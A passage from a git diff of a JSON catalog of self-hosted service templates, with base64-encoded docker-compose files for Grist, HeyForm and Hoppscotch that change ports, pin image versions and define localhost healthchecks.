ICAtICdUWVBFT1JNX1BPUlQ9JHtUWVBFT1JNX1BPUlQ6LTU0MzJ9JwogICAgICAtICdUWVBFT1JNX0xPR0dJTkc9JHtUWVBFT1JNX0xPR0dJTkc6LWZhbHNlfScKICAgICAgLSAnUkVESVNfVVJMPSR7UkVESVNfVVJMOi1yZWRpczovL3JlZGlzOjYzNzl9JwogICAgICAtICdHUklTVF9IRUxQX0NFTlRFUj0ke1NFUlZJQ0VfVVJMX0dSSVNUfS9oZWxwJwogICAgICAtICdHUklTVF9URVJNU19PRl9TRVJWSUNFX1VSTD0ke1NFUlZJQ0VfVVJMX0dSSVNUfS90ZXJtcycKICAgICAgLSAnRlJFRV9DT0FDSElOR19DQUxMX1VSTD0ke0ZSRUVfQ09BQ0hJTkdfQ0FMTF9VUkx9JwogICAgICAtICdHUklTVF9DT05UQUNUX1NVUFBPUlRfVVJMPSR7Q09OVEFDVF9TVVBQT1JUX1VSTH0nCiAgICB2b2x1bWVzOgogICAgICAtICdncmlzdC1kYXRhOi9wZXJzaXN0JwogICAgZGVwZW5kc19vbjoKICAgICAgcG9zdGdyZXM6CiAgICAgICAgY29uZGl0aW9uOiBzZXJ2aWNlX2hlYWx0aHkKICAgICAgcmVkaXM6CiAgICAgICAgY29uZGl0aW9uOiBzZXJ2aWNlX2hlYWx0aHkKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ECiAgICAgICAgLSBub2RlCiAgICAgICAgLSAnLWUnCiAgICAgICAgLSAicmVxdWlyZSgnaHR0cCcpLmdldCgnaHR0cDovL2xvY2FsaG9zdDo4NDg0L3N0YXR1cycsIHJlcyA9PiBwcm9jZXNzLmV4aXQocmVzLnN0YXR1c0NvZGUgPT09IDIwMCA/IDAgOiAxKSkiCiAgICAgICAgLSAnPiAvZGV2L251bGwgMj4mMScKICAgICAgaW50ZXJ2YWw6IDVzCiAgICAgIHRpbWVvdXQ6IDIwcwogICAgICByZXRyaWVzOiAxMAogIHBvc3RncmVzOgogICAgaW1hZ2U6ICdwb3N0Z3JlczoxNicKICAgIGVudmlyb25tZW50OgogICAgICAtICdQT1NUR1JFU19EQj0ke1BPU1RHUkVTX0RBVEFCQVNFOi1ncmlzdC1kYn0nCiAgICAgIC0gJ1BPU1RHUkVTX1VTRVI9JHtTRVJWSUNFX1VTRVJfUE9TVEdSRVN9JwogICAgICAtICdQT1NUR1JFU19QQVNTV09SRD0ke1NFUlZJQ0VfUEFTU1dPUkRfUE9TVEdSRVN9JwogICAgdm9sdW1lczoKICAgICAgLSAnZ3Jpc3RfcG9zdGdyZXNfZGF0YTovdmFyL2xpYi9wb3N0Z3Jlc3FsL2RhdGEnCiAgICBoZWFsdGhjaGVjazoKICAgICAgdGVzdDoKICAgICAgICAtIENNRC1TSEVMTAogICAgICAgIC0gJ3BnX2lzcmVhZHkgLVUgJCR7UE9TVEdSRVNfVVNFUn0gLWQgJCR7UE9TVEdSRVNfREJ9JwogICAgICBpbnRlcnZhbDogNXMKICAgICAgdGltZW91dDogMTBzCiAgICAgIHJldHJpZXM6IDIwCiAgcmVkaXM6CiAgICBpbWFnZTogJ3JlZGlzOjcnCiAgICB2b2x1bWVzOgogICAgICAtICdncmlzdF9yZWRpc19kYXRhOi9kYXRhJwogICAgaGVhbHRoY2hlY2s6CiAgICAgIHRlc3Q6CiAgICAgICAgLSBDTUQKICAgICAgICAtIHJlZGlzLWNsaQogICAgICAgIC0gUElORwogICAgICBpbnRlcnZhbDogNXMKICAgICAgdGltZW91dDogMTBzCiAgICAgIHJldHJpZXM6IDIwCg==", + "compose": "c2VydmljZXM6CiAgZ3Jpc3Q6CiAgICBpbWFnZTogJ2dyaXN0bGFicy9ncmlzdDpsYXRlc3QnCiAgICBlbnZpcm9ubWVudDoKICAgICAgLSBTRVJWSUNFX1VSTF9HUklTVF84NDg0CiAgICAgIC0gJ0FQUF9IT01FX1VSTD0ke1NFUlZJQ0VfVVJMX0dSSVNUfScKICAgICAgLSAnQVBQX0RPQ19VUkw9JHtTRVJWSUNFX1VSTF9HUklTVH0nCiAgICAgIC0gJ0dSSVNUX0RPTUFJTj0ke1NFUlZJQ0VfRlFETl9HUklTVH0nCiAgICAgIC0gJ1RaPSR7VFo6LVVUQ30nCiAgICAgIC0gJ0dSSVNUX1NVUFBPUlRfQU5PTj0ke1NVUFBPUlRfQU5PTjotZmFsc2V9JwogICAgICAtICdHUklTVF9GT1JDRV9MT0dJTj0ke0ZPUkNFX0xPR0lOOi10cnVlfScKICAgICAgLSAnQ09PS0lFX01BWF9BR0U9JHtDT09LSUVfTUFYX0FHRTotODY0MDAwMDB9JwogICAgICAtICdHUklTVF9QQUdFX1RJVExFX1NVRkZJWD0ke1BBR0VfVElUTEVfU1VGRklYOi0gLSBTdWZmaXh9JwogICAgICAtICdHUklTVF9ISURFX1VJX0VMRU1FTlRTPSR7SElERV9VSV9FTEVNRU5UUzotYmlsbGluZyxzZW5kVG9Ecml2ZSxzdXBwb3J0R3Jpc3QsbXVsdGlBY2NvdW50cyx0dXRvcmlhbHN9JwogICAgICAtICdHUklTVF9VSV9GRUFUVVJFUz0ke1VJX0ZFQVRVUkVTOi1oZWxwQ2VudGVyLGJpbGxpbmcsdGVtcGxhdGVzLGNyZWF0ZVNpdGUsbXVsdGlTaXRlLHNlbmRUb0RyaXZlLHR1dG9yaWFscyxzdXBwb3J0R3Jpc3R9JwogICAgICAtICdHUklTVF9ERUZBVUxUX0VNQUlMPSR7REVGQVVMVF9FTUFJTDotP30nCiAgICAgIC0gJ0dSSVNUX09SR19JTl9QQVRIPSR7T1JHX0lOX1BBVEg6LXRydWV9JwogICAgICAtICdHUklTVF9PSURDX1NQX0hPU1Q9JHtTRVJWSUNFX1VSTF9HUklTVH0nCiAgICAgIC0gJ0dSSVNUX09JRENfSURQX1NDT1BFUz0ke09JRENfSURQX1NDT1BFUzotb3BlbmlkIHByb2ZpbGUgZW1haWx9JwogICAgICAtICdHUklTVF9PSURDX0lEUF9TS0lQX0VORF9TRVNTSU9OX0VORFBPSU5UPSR7T0lEQ19JRFBfU0tJUF9FTkRfU0VTU0lPTl9FTkRQT0lOVDotZmFsc2V9JwogICAgICAtICdHUklTVF9PSURDX0lEUF9JU1NVRVI9JHtPSURDX0lEUF9JU1NVRVI6P30nCiAgICAgIC0gJ0dSSVNUX09JRENfSURQX0NMSUVOVF9JRD0ke09JRENfSURQX0NMSUVOVF9JRDo/fScKICAgICAgLSAnR1JJU1RfT0lEQ19JRFBfQ0xJRU5UX1NFQ1JFVD0ke09JRENfSURQX0NMSUVOVF9TRUNSRVQ6P30nCiAgICAgIC0gJ0dSSVNUX1NFU1NJT05fU0VDUkVUPSR7U0VSVklDRV9SRUFMQkFTRTY0XzEyOH0nCiAgICAgIC0gJ0dSSVNUX0hPTUVfSU5DTFVERV9TVEFUSUM9JHtIT01FX0lOQ0xVREVfU1RBVElDOi10cnVlfScKICAgICAgLSAnR1JJU1RfU0FOREJPWF9GTEFWT1I9JHtTQU5EQk9YX0ZMQVZPUjotZ3Zpc29yfScKICAgICAgLSAnQUxMT1dFRF9XRUJIT09LX0RPTUFJTlM9JHtBTExPV0VEX1dFQkhPT0tfRE9NQUlOU30nCiAgICAgIC0gJ0NPTU1FTlRTPSR7Q09NTUVOVFM6LXRydWV9JwogICAgICAtICdUWVBFT1JNX1RZUEU9JHtUWVBFT1JNX1RZUEU6LXBvc3RncmVzfScKICAgICAgLSAnVFlQRU9STV9EQVRBQkFTRT0ke1BPU1RHUkVTX0RBVEFCQVNFOi1ncmlzdC1kYn0nCiAgICAgIC0gJ1RZUEVPUk1fVVNFUk5BTUU9JHtTRVJWSUNFX1VTRVJfUE9TVEdSRVN9JwogICAgICAtICdUWVBFT1JNX1BBU1NXT1JEPSR7U0VSVklDRV9QQVNTV09SRF9QT1NUR1JFU30nCiAgICAgIC0gJ1RZUEVPUk1fSE9TVD0ke1RZUEVPUk1fSE9TVDotcG9zdGdyZXN9JwogICAgICAtICdUWVBFT1JNX1BPUlQ9JHtUWVBFT1JNX1BPUlQ6LTU0MzJ9JwogICAgICAtICdUWVBFT1JNX0xPR0dJTkc9JHtUWVBFT1JNX0xPR0dJTkc6LWZhbHNlfScKICAgICAgLSAnUkVESVNfVVJMPSR7UkVESVNfVVJMOi1yZWRpczovL3JlZGlzOjYzNzl9JwogICAgICAtICdHUklTVF9IRUxQX0NFTlRFUj0ke1NFUlZJQ0VfVVJMX0dSSVNUfS9oZWxwJwogICAgICAtICdHUklTVF9URVJNU19PRl9TRVJWSUNFX1VSTD0ke1NFUlZJQ0VfVVJMX0dSSVNUfS90ZXJtcycKICAgICAgLSAnRlJFRV9DT0FDSElOR19DQUxMX1VSTD0ke0ZSRUVfQ09BQ0hJTkdfQ0FMTF9VUkx9JwogICAgICAtICdHUklTVF9DT05UQUNUX1NVUFBPUlRfVVJMPSR7Q09OVEFDVF9TVVBQT1JUX1VSTH0nCiAgICB2b2x1bWVzOgogICAgICAtICdncmlzdC1kYXRhOi9wZXJzaXN0JwogICAgZGVwZW5kc19vbjoKICAgICAgcG9zdGdyZXM6CiAgICAgICAgY29uZGl0aW9uOiBzZXJ2aWNlX2hlYWx0aHkKICAgICAgcmVkaXM6CiAgICAgICAgY29uZGl0aW9uOiBzZXJ2aWNlX2hlYWx0aHkKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ECiAgICAgICAgLSBub2RlCiAgICAgICAgLSAnLWUnCiAgICAgICAgLSAicmVxdWlyZSgnaHR0cCcpLmdldCgnaHR0cDovL2xvY2FsaG9zdDo4NDg0L3N0YXR1cycsIHJlcyA9PiBwcm9jZXNzLmV4aXQocmVzLnN0YXR1c0NvZGUgPT09IDIwMCA/IDAgOiAxKSkiCiAgICAgICAgLSAnPiAvZGV2L251bGwgMj4mMScKICAgICAgaW50ZXJ2YWw6IDVzCiAgICAgIHRpbWVvdXQ6IDIwcwogICAgICByZXRyaWVzOiAxMAogIHBvc3RncmVzOgogICAgaW1hZ2U6ICdwb3N0Z3JlczoxNicKICAgIGVudmlyb25tZW50OgogICAgICAtICdQT1NUR1JFU19EQj0ke1BPU1RHUkVTX0RBVEFCQVNFOi1ncmlzdC1kYn0nCiAgICAgIC0gJ1BPU1RHUkVTX1VTRVI9JHtTRVJWSUNFX1VTRVJfUE9TVEdSRVN9JwogICAgICAtICdQT1NUR1JFU19QQVNTV09SRD0ke1NFUlZJQ0VfUEFTU1dPUkRfUE9TVEdSRVN9JwogICAgdm9sdW1lczoKICAgICAgLSAnZ3Jpc3RfcG9zdGdyZXNfZGF0YTovdmFyL2xpYi9wb3N0Z3Jlc3FsL2RhdGEnCiAgICBoZWFsdGhjaGVjazoKICAgICAgdGVzdDoKICAgICAgICAtIENNRC1TSEVMTAogICAgICAgIC0gJ3BnX2lzcmVhZHkgLVUgJCR7UE9TVEdSRVNfVVNFUn0gLWQgJCR7UE9TVEdSRVNfREJ9JwogICAgICBpbnRlcnZhbDogNXMKICAgICAgdGltZW91dDogMTBzCiAgICAgIHJldHJpZXM6IDIwCiAgcmVkaXM6CiAgICBpbWFnZTogJ3JlZGlzOjcnCiAgICB2b2x1bWVzOgogICAgICAtICdncmlzdF9yZWRpc19kYXRhOi9kYXRhJwogICAgaGVhbHRoY2hlY2s6CiAgICAgIHRlc3Q6CiAgICAgICAgLSBDTUQKICAgICAgICAtIHJlZGlzLWNsaQogICAgICAgIC0gUElORwogICAgICBpbnRlcnZhbDogNXMKICAgICAgdGltZW91dDogMTBzCiAgICAgIHJldHJpZXM6IDIwCg==", "tags": [ "lowcode", "nocode", @@ -1902,7 +1902,7 @@ "category": "productivity", "logo": "svgs/grist.svg", "minversion": "0.0.0", - "port": "443" + "port": "8484" }, "grocy": { "documentation": "https://github.com/grocy/grocy?utm_source=coolify.io", @@ -1951,7 +1951,7 @@ "heyform": { "documentation": "https://docs.heyform.net/open-source/self-hosting?utm_source=coolify.io", "slogan": "Allows anyone to create engaging conversational forms for surveys, questionnaires, quizzes, and polls. No coding skills required.", - "compose": "c2VydmljZXM6CiAgaGV5Zm9ybToKICAgIGltYWdlOiAnaGV5Zm9ybS9jb21tdW5pdHktZWRpdGlvbjpsYXRlc3QnCiAgICB2b2x1bWVzOgogICAgICAtICdoZXlmb3JtLWFzc2V0czovYXBwL3N0YXRpYy91cGxvYWQnCiAgICBkZXBlbmRzX29uOgogICAgICBtb25nbzoKICAgICAgICBjb25kaXRpb246IHNlcnZpY2VfaGVhbHRoeQogICAgICBrZXlkYjoKICAgICAgICBjb25kaXRpb246IHNlcnZpY2VfaGVhbHRoeQogICAgZW52aXJvbm1lbnQ6CiAgICAgIC0gU0VSVklDRV9VUkxfSEVZRk9STV84MDAwCiAgICAgIC0gJ0FQUF9IT01FUEFHRV9VUkw9JHtTRVJWSUNFX1VSTF9IRVlGT1JNfScKICAgICAgLSAnU0VTU0lPTl9LRVk9JHtTRVJWSUNFX0JBU0U2NF82NF9TRVNTSU9OfScKICAgICAgLSAnRk9STV9FTkNSWVBUSU9OX0tFWT0ke1NFUlZJQ0VfQkFTRTY0XzY0X0ZPUk19JwogICAgICAtICdNT05HT19VUkk9bW9uZ29kYjovL21vbmdvOjI3MDE3L2hleWZvcm0nCiAgICAgIC0gUkVESVNfSE9TVD1rZXlkYgogICAgICAtIFJFRElTX1BPUlQ9NjM3OQogICAgICAtICdSRURJU19QQVNTV09SRD0ke1NFUlZJQ0VfUEFTU1dPUkRfS0VZREJ9JwogICAgaGVhbHRoY2hlY2s6CiAgICAgIHRlc3Q6CiAgICAgICAgLSBDTUQtU0hFTEwKICAgICAgICAtICd3Z2V0IC1xTy0gaHR0cDovLzEyNy4wLjAuMTo4MDAwIHx8IGV4aXQgMScKICAgICAgaW50ZXJ2YWw6IDVzCiAgICAgIHRpbWVvdXQ6IDVzCiAgICAgIHJldHJpZXM6IDMKICBtb25nbzoKICAgIGltYWdlOiAncGVyY29uYS9wZXJjb25hLXNlcnZlci1tb25nb2RiOmxhdGVzdCcKICAgIHZvbHVtZXM6CiAgICAgIC0gJ2hleWZvcm0tbW9uZ28tZGF0YTovZGF0YS9kYicKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ELVNIRUxMCiAgICAgICAgLSAiZWNobyAnb2snID4gL2Rldi9udWxsIDI+JjEiCiAgICAgIGludGVydmFsOiA1cwogICAgICB0aW1lb3V0OiA1cwogICAgICByZXRyaWVzOiAxMAogICAgICBzdGFydF9wZXJpb2Q6IDVzCiAga2V5ZGI6CiAgICBpbWFnZTogJ2VxYWxwaGEva2V5ZGI6bGF0ZXN0JwogICAgY29tbWFuZDogJ2tleWRiLXNlcnZlciAtLWFwcGVuZG9ubHkgeWVzJwogICAgZW52aXJvbm1lbnQ6CiAgICAgIC0gJ0tFWURCX1BBU1NXT1JEPSR7U0VSVklDRV9QQVNTV09SRF9LRVlEQn0nCiAgICB2b2x1bWVzOgogICAgICAtICdoZXlmb3JtLWtleWRiLWRhdGE6L2RhdGEnCiAgICBoZWFsdGhjaGVjazoKICAgICAgdGVzdDoKICAgICAgICAtIENNRC1TSEVMTAogICAgICAgIC0ga2V5ZGItY2xpCiAgICAgICAgLSAnLS1wYXNzJwogICAgICAgIC0gJyR7U0VSVklDRV9QQVNTV09SRF9LRVlEQn0nCiAgICAgICAgLSBwaW5nCiAgICAgIGludGVydmFsOiA1cwogICAgICB0aW1lb3V0OiA1cwogICAgICByZXRyaWVzOiAxMAogICAgICBzdGFydF9wZXJpb2Q6IDVzCg==", + "compose": "c2VydmljZXM6CiAgaGV5Zm9ybToKICAgIGltYWdlOiAnaGV5Zm9ybS9jb21tdW5pdHktZWRpdGlvbjpsYXRlc3QnCiAgICB2b2x1bWVzOgogICAgICAtICdoZXlmb3JtLWFzc2V0czovYXBwL3N0YXRpYy91cGxvYWQnCiAgICBkZXBlbmRzX29uOgogICAgICBtb25nbzoKICAgICAgICBjb25kaXRpb246IHNlcnZpY2VfaGVhbHRoeQogICAgICBrZXlkYjoKICAgICAgICBjb25kaXRpb246IHNlcnZpY2VfaGVhbHRoeQogICAgZW52aXJvbm1lbnQ6CiAgICAgIC0gU0VSVklDRV9VUkxfSEVZRk9STV85MTU3CiAgICAgIC0gJ0FQUF9IT01FUEFHRV9VUkw9JHtTRVJWSUNFX1VSTF9IRVlGT1JNfScKICAgICAgLSAnU0VTU0lPTl9LRVk9JHtTRVJWSUNFX0JBU0U2NF82NF9TRVNTSU9OfScKICAgICAgLSAnRk9STV9FTkNSWVBUSU9OX0tFWT0ke1NFUlZJQ0VfQkFTRTY0XzY0X0ZPUk19JwogICAgICAtICdNT05HT19VUkk9bW9uZ29kYjovL21vbmdvOjI3MDE3L2hleWZvcm0nCiAgICAgIC0gUkVESVNfSE9TVD1rZXlkYgogICAgICAtIFJFRElTX1BPUlQ9NjM3OQogICAgICAtICdSRURJU19QQVNTV09SRD0ke1NFUlZJQ0VfUEFTU1dPUkRfS0VZREJ9JwogICAgaGVhbHRoY2hlY2s6CiAgICAgIHRlc3Q6CiAgICAgICAgLSBDTUQtU0hFTEwKICAgICAgICAtICd3Z2V0IC1xTy0gaHR0cDovLzEyNy4wLjAuMTo5MTU3IHx8IGV4aXQgMScKICAgICAgaW50ZXJ2YWw6IDVzCiAgICAgIHRpbWVvdXQ6IDVzCiAgICAgIHJldHJpZXM6IDMKICBtb25nbzoKICAgIGltYWdlOiAncGVyY29uYS9wZXJjb25hLXNlcnZlci1tb25nb2RiOmxhdGVzdCcKICAgIHZvbHVtZXM6CiAgICAgIC0gJ2hleWZvcm0tbW9uZ28tZGF0YTovZGF0YS9kYicKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ELVNIRUxMCiAgICAgICAgLSAiZWNobyAnb2snID4gL2Rldi9udWxsIDI+JjEiCiAgICAgIGludGVydmFsOiA1cwogICAgICB0aW1lb3V0OiA1cwogICAgICByZXRyaWVzOiAxMAogICAgICBzdGFydF9wZXJpb2Q6IDVzCiAga2V5ZGI6CiAgICBpbWFnZTogJ2VxYWxwaGEva2V5ZGI6bGF0ZXN0JwogICAgY29tbWFuZDogJ2tleWRiLXNlcnZlciAtLWFwcGVuZG9ubHkgeWVzJwogICAgZW52aXJvbm1lbnQ6CiAgICAgIC0gJ0tFWURCX1BBU1NXT1JEPSR7U0VSVklDRV9QQVNTV09SRF9LRVlEQn0nCiAgICB2b2x1bWVzOgogICAgICAtICdoZXlmb3JtLWtleWRiLWRhdGE6L2RhdGEnCiAgICBoZWFsdGhjaGVjazoKICAgICAgdGVzdDoKICAgICAgICAtIENNRC1TSEVMTAogICAgICAgIC0ga2V5ZGItY2xpCiAgICAgICAgLSAnLS1wYXNzJwogICAgICAgIC0gJyR7U0VSVklDRV9QQVNTV09SRF9LRVlEQn0nCiAgICAgICAgLSBwaW5nCiAgICAgIGludGVydmFsOiA1cwogICAgICB0aW1lb3V0OiA1cwogICAgICByZXRyaWVzOiAxMAogICAgICBzdGFydF9wZXJpb2Q6IDVzCg==", "tags": [ "form", "builder", @@ -1965,7 +1965,7 @@ "category": "productivity", "logo": "svgs/heyform.svg", "minversion": "0.0.0", - "port": "8000" + "port": "9157" }, "homarr": { "documentation": "https://homarr.dev?utm_source=coolify.io", @@ -2030,7 +2030,7 @@ "hoppscotch": { "documentation": "https://docs.hoppscotch.io?utm_source=coolify.io", "slogan": "The Open Source API Development Platform", - "compose": "c2VydmljZXM6CiAgYmFja2VuZDoKICAgIGltYWdlOiAnaG9wcHNjb3RjaC9ob3Bwc2NvdGNoOmxhdGVzdCcKICAgIGVudmlyb25tZW50OgogICAgICAtIFNFUlZJQ0VfVVJMX0hPUFBTQ09UQ0hfODAKICAgICAgLSAnVklURV9BTExPV0VEX0FVVEhfUFJPVklERVJTPSR7VklURV9BTExPV0VEX0FVVEhfUFJPVklERVJTOi1HT09HTEUsR0lUSFVCLE1JQ1JPU09GVCxFTUFJTH0nCiAgICAgIC0gJ0RBVEFCQVNFX1VSTD1wb3N0Z3Jlc3FsOi8vJHtTRVJWSUNFX1VTRVJfUE9TVEdSRVN9OiR7U0VSVklDRV9QQVNTV09SRF9QT1NUR1JFU31AaG9wcHNjb3RjaC1kYjo1NDMyLyR7UE9TVEdSRVNfREJ9JwogICAgICAtICdEQVRBX0VOQ1JZUFRJT05fS0VZPSR7U0VSVklDRV9CQVNFNjRfREFUQUVOQ1JZUFRJT05LRVl9JwogICAgICAtICdXSElURUxJU1RFRF9PUklHSU5TPSR7U0VSVklDRV9VUkxfSE9QUFNDT1RDSH0vYmFja2VuZCwke1NFUlZJQ0VfVVJMX0hPUFBTQ09UQ0h9LCR7U0VSVklDRV9VUkxfSE9QUFNDT1RDSH0vYWRtaW4nCiAgICAgIC0gJ01BSUxFUl9VU0VfQ1VTVE9NX0NPTkZJR1M9JHtNQUlMRVJfVVNFX0NVU1RPTV9DT05GSUdTOi10cnVlfScKICAgICAgLSAnVklURV9CQVNFX1VSTD0ke1NFUlZJQ0VfVVJMX0hPUFBTQ09UQ0h9JwogICAgICAtICdWSVRFX1NIT1JUQ09ERV9CQVNFX1VSTD0ke1NFUlZJQ0VfVVJMX0hPUFBTQ09UQ0h9JwogICAgICAtICdWSVRFX0FETUlOX1VSTD0ke1NFUlZJQ0VfVVJMX0hPUFBTQ09UQ0h9L2FkbWluJwogICAgICAtICdWSVRFX0JBQ0tFTkRfR1FMX1VSTD0ke1NFUlZJQ0VfVVJMX0hPUFBTQ09UQ0h9L2JhY2tlbmQvZ3JhcGhxbCcKICAgICAgLSAnVklURV9CQUNLRU5EX1dTX1VSTD13c3M6Ly8ke1NFUlZJQ0VfRlFETl9IT1BQU0NPVENIfS9iYWNrZW5kL2dyYXBocWwnCiAgICAgIC0gJ1ZJVEVfQkFDS0VORF9BUElfVVJMPSR7U0VSVklDRV9VUkxfSE9QUFNDT1RDSH0vYmFja2VuZC92MScKICAgICAgLSAnVklURV9BUFBfVE9TX0xJTks9aHR0cHM6Ly9kb2NzLmhvcHBzY290Y2guaW8vc3VwcG9ydC90ZXJtcycKICAgICAgLSAnVklURV9BUFBfUFJJVkFDWV9QT0xJQ1lfTElOSz1odHRwczovL2RvY3MuaG9wcHNjb3RjaC5pby9zdXBwb3J0L3ByaXZhY3knCiAgICAgIC0gRU5BQkxFX1NVQlBBVEhfQkFTRURfQUNDRVNTPXRydWUKICAgIGRlcGVuZHNfb246CiAgICAgIGRiLW1pZ3JhdGlvbjoKICAgICAgICBjb25kaXRpb246IHNlcnZpY2VfY29tcGxldGVkX3N1Y2Nlc3NmdWxseQogICAgaGVhbHRoY2hlY2s6CiAgICAgIHRlc3Q6CiAgICAgICAgLSBDTUQtU0hFTEwKICAgICAgICAtICd3Z2V0IC1xTy0gaHR0cDovLzEyNy4wLjAuMTo4MC8nCiAgICAgIGludGVydmFsOiA1cwogICAgICB0aW1lb3V0OiAyMHMKICAgICAgcmV0cmllczogMTAKICBob3Bwc2NvdGNoLWRiOgogICAgaW1hZ2U6ICdwb3N0Z3JlczpsYXRlc3QnCiAgICB2b2x1bWVzOgogICAgICAtICdwb3N0Z3Jlc19kYXRhOi92YXIvbGliL3Bvc3RncmVzcWwvZGF0YScKICAgIGVudmlyb25tZW50OgogICAgICAtICdQT1NUR1JFU19VU0VSPSR7U0VSVklDRV9VU0VSX1BPU1RHUkVTfScKICAgICAgLSAnUE9TVEdSRVNfUEFTU1dPUkQ9JHtTRVJWSUNFX1BBU1NXT1JEX1BPU1RHUkVTfScKICAgICAgLSAnUE9TVEdSRVNfREI9JHtQT1NUR1JFU19EQjotaG9wcHNjb3RjaH0nCiAgICBoZWFsdGhjaGVjazoKICAgICAgdGVzdDoKICAgICAgICAtIENNRC1TSEVMTAogICAgICAgIC0gJ3BnX2lzcmVhZHkgLWggbG9jYWxob3N0IC1VICQke1BPU1RHUkVTX1VTRVJ9IC1kICQke1BPU1RHUkVTX0RCfScKICAgICAgaW50ZXJ2YWw6IDVzCiAgICAgIHRpbWVvdXQ6IDEwcwogICAgICByZXRyaWVzOiAxMAogIGRiLW1pZ3JhdGlvbjoKICAgIGV4Y2x1ZGVfZnJvbV9oYzogdHJ1ZQogICAgaW1hZ2U6ICdob3Bwc2NvdGNoL2hvcHBzY290Y2g6bGF0ZXN0JwogICAgZGVwZW5kc19vbjoKICAgICAgaG9wcHNjb3RjaC1kYjoKICAgICAgICBjb25kaXRpb246IHNlcnZpY2VfaGVhbHRoeQogICAgY29tbWFuZDogJ3BucHggcHJpc21hIG1pZ3JhdGUgZGVwbG95JwogICAgcmVzdGFydDogb24tZmFpbHVyZQogICAgZW52aXJvbm1lbnQ6CiAgICAgIC0gJ1BPU1RHUkVTX1VTRVI9JHtTRVJWSUNFX1VTRVJfUE9TVEdSRVN9JwogICAgICAtICdQT1NUR1JFU19QQVNTV09SRD0ke1NFUlZJQ0VfUEFTU1dPUkRfUE9TVEdSRVN9JwogICAgICAtICdQT1NUR1JFU19EQj0ke1BPU1RHUkVTX0RCOi1ob3Bwc2NvdGNofScKICAgICAgLSAnREFUQUJBU0VfVVJMPXBvc3RncmVzOi8vJHtTRVJWSUNFX1VTRVJfUE9TVEdSRVN9OiR7U0VSVklDRV9QQVNTV09SRF9QT1NUR1JFU31AaG9wcHNjb3RjaC1kYjo1NDMyLyR7UE9TVEdSRVNfREI6LWhvcHBzY290Y2h9Jwo=", + "compose": "c2VydmljZXM6CiAgYmFja2VuZDoKICAgIGltYWdlOiAnaG9wcHNjb3RjaC9ob3Bwc2NvdGNoOjIwMjYuMi4xJwogICAgZW52aXJvbm1lbnQ6CiAgICAgIC0gU0VSVklDRV9VUkxfSE9QUFNDT1RDSF84MAogICAgICAtICdWSVRFX0FMTE9XRURfQVVUSF9QUk9WSURFUlM9JHtWSVRFX0FMTE9XRURfQVVUSF9QUk9WSURFUlM6LUdPT0dMRSxHSVRIVUIsTUlDUk9TT0ZULEVNQUlMfScKICAgICAgLSAnREFUQUJBU0VfVVJMPXBvc3RncmVzcWw6Ly8ke1NFUlZJQ0VfVVNFUl9QT1NUR1JFU306JHtTRVJWSUNFX1BBU1NXT1JEX1BPU1RHUkVTfUBob3Bwc2NvdGNoLWRiOjU0MzIvJHtQT1NUR1JFU19EQn0nCiAgICAgIC0gJ0RBVEFfRU5DUllQVElPTl9LRVk9JHtTRVJWSUNFX0JBU0U2NF9EQVRBRU5DUllQVElPTktFWX0nCiAgICAgIC0gJ1dISVRFTElTVEVEX09SSUdJTlM9JHtTRVJWSUNFX1VSTF9IT1BQU0NPVENIfS9iYWNrZW5kLCR7U0VSVklDRV9VUkxfSE9QUFNDT1RDSH0sJHtTRVJWSUNFX1VSTF9IT1BQU0NPVENIfS9hZG1pbicKICAgICAgLSAnTUFJTEVSX1VTRV9DVVNUT01fQ09ORklHUz0ke01BSUxFUl9VU0VfQ1VTVE9NX0NPTkZJR1M6LXRydWV9JwogICAgICAtICdWSVRFX0JBU0VfVVJMPSR7U0VSVklDRV9VUkxfSE9QUFNDT1RDSH0nCiAgICAgIC0gJ1ZJVEVfU0hPUlRDT0RFX0JBU0VfVVJMPSR7U0VSVklDRV9VUkxfSE9QUFNDT1RDSH0nCiAgICAgIC0gJ1ZJVEVfQURNSU5fVVJMPSR7U0VSVklDRV9VUkxfSE9QUFNDT1RDSH0vYWRtaW4nCiAgICAgIC0gJ1ZJVEVfQkFDS0VORF9HUUxfVVJMPSR7U0VSVklDRV9VUkxfSE9QUFNDT1RDSH0vYmFja2VuZC9ncmFwaHFsJwogICAgICAtICdWSVRFX0JBQ0tFTkRfV1NfVVJMPXdzczovLyR7U0VSVklDRV9GUUROX0hPUFBTQ09UQ0h9L2JhY2tlbmQvZ3JhcGhxbCcKICAgICAgLSAnVklURV9CQUNLRU5EX0FQSV9VUkw9JHtTRVJWSUNFX1VSTF9IT1BQU0NPVENIfS9iYWNrZW5kL3YxJwogICAgICAtICdWSVRFX0FQUF9UT1NfTElOSz1odHRwczovL2RvY3MuaG9wcHNjb3RjaC5pby9zdXBwb3J0L3Rlcm1zJwogICAgICAtICdWSVRFX0FQUF9QUklWQUNZX1BPTElDWV9MSU5LPWh0dHBzOi8vZG9jcy5ob3Bwc2NvdGNoLmlvL3N1cHBvcnQvcHJpdmFjeScKICAgICAgLSBFTkFCTEVfU1VCUEFUSF9CQVNFRF9BQ0NFU1M9dHJ1ZQogICAgZGVwZW5kc19vbjoKICAgICAgZGItbWlncmF0aW9uOgogICAgICAgIGNvbmRpdGlvbjogc2VydmljZV9jb21wbGV0ZWRfc3VjY2Vzc2Z1bGx5CiAgICBoZWFsdGhjaGVjazoKICAgICAgdGVzdDoKICAgICAgICAtIENNRC1TSEVMTAogICAgICAgIC0gJ3dnZXQgLXFPLSBodHRwOi8vMTI3LjAuMC4xOjgwLycKICAgICAgaW50ZXJ2YWw6IDVzCiAgICAgIHRpbWVvdXQ6IDIwcwogICAgICByZXRyaWVzOiAxMAogIGhvcHBzY290Y2gtZGI6CiAgICBpbWFnZTogJ3Bvc3RncmVzOjE1JwogICAgdm9sdW1lczoKICAgICAgLSAncG9zdGdyZXNfZGF0YTovdmFyL2xpYi9wb3N0Z3Jlc3FsL2RhdGEnCiAgICBlbnZpcm9ubWVudDoKICAgICAgLSAnUE9TVEdSRVNfVVNFUj0ke1NFUlZJQ0VfVVNFUl9QT1NUR1JFU30nCiAgICAgIC0gJ1BPU1RHUkVTX1BBU1NXT1JEPSR7U0VSVklDRV9QQVNTV09SRF9QT1NUR1JFU30nCiAgICAgIC0gJ1BPU1RHUkVTX0RCPSR7UE9TVEdSRVNfREI6LWhvcHBzY290Y2h9JwogICAgaGVhbHR